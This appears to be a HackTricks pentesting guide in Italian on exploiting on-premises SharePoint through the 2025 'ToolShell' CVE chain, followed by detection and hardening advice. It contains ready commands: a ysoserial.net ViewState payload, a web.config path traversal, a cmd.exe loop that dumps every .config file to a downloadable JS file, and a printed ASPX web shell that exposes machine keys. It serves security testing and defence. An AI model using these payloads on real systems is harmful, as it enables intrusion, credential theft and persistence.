6.3 KiB
Raw Blame History

Microsoft SharePoint Pentesting & Exploitation

{{#include ../../banners/hacktricks-training.md}}

Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> consente l'inserimento di codice Server-Side Include arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue Process.Start() e inserire un ViewState malevolo.

2.2 CVE-2025-49706 Improper Authentication Bypass

La stessa pagina si fida dell'intestazione X-Forms_BaseUrl per determinare il contesto del sito. Puntandola a /_layouts/15/, la MFA/SSO imposta nel sito principale può essere bypassata senza autenticazione.

2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE

Una volta che l'attaccante controlla un gadget in ToolPane.aspx, può inviare un valore __VIEWSTATE non firmato (o solo MAC) che attiva la deserializzazione .NET all'interno di w3wp.exe, portando all'esecuzione di codice.

Se la firma è abilitata, rubare il ValidationKey/DecryptionKey da qualsiasi web.config (vedi 2.4) e forgiare il payload con ysoserial.net o ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}

2.4 CVE-2025-53771 Path Traversal / divulgazione di web.config

Inviare un parametro Source creato a ToolPane.aspx (ad es. ../../../../web.config) restituisce il file mirato, consentendo la fuga di:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forgiare i cookie ViewState / ASPXAUTH
  • stringhe di connessione e segreti.

3. Ricette di post-sfruttamento osservate in natura

3.1 Esfiltrare ogni file .config (variazione-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Il file risultante debug_dev.js può essere scaricato in modo anonimo e contiene tutte le configurazioni sensibili.

3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)

powershell.exe -EncodedCommand <base64>

Esempio di payload decodificato (abbreviato):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Scritto a:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

La shell espone endpoint per leggere / ruotare le chiavi della macchina che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm.

3.3 Variante offuscata (variazione-3)

Stessa shell ma:

  • posizionata sotto ...\15\TEMPLATE\LAYOUTS\
  • nomi delle variabili ridotti a lettere singole
  • Thread.Sleep(<ms>) aggiunto per evasione della sandbox e bypass basato sul timing.

4. Idee di rilevamento

Telemetria Perché è sospetta
w3wp.exe → cmd.exe Il processo worker dovrebbe raramente generare una shell
cmd.exe → powershell.exe -EncodedCommand Modello classico di lolbin
Eventi di file che creano debug_dev.js o spinstall0.aspx IOCs direttamente da ToolShell
ProcessCmdLine CONTIENE ToolPane.aspx (log ETW/Modulo) PoC pubbliche invocano questa pagina

Esempio di regola XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Indurimento e Mitigazione

  1. Patch Gli aggiornamenti di sicurezza di luglio 2025 risolvono tutti e quattro i CVE.
  2. Ruotare ogni <machineKey> e i segreti di ViewState dopo una compromissione.
  3. Rimuovere il permesso di scrittura LAYOUTS dai gruppi WSS_WPG e WSS_ADMIN_WPG.
  4. Bloccare l'accesso esterno a /_layouts/15/ToolPane.aspx a livello di proxy/WAF.
  5. Abilitare ViewStateUserKey, MAC abilitato e EventValidation personalizzato.

Trucchi correlati

  • Post-sfruttamento di IIS e abuso di web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}

Riferimenti

{{#include ../../banners/hacktricks-training.md}}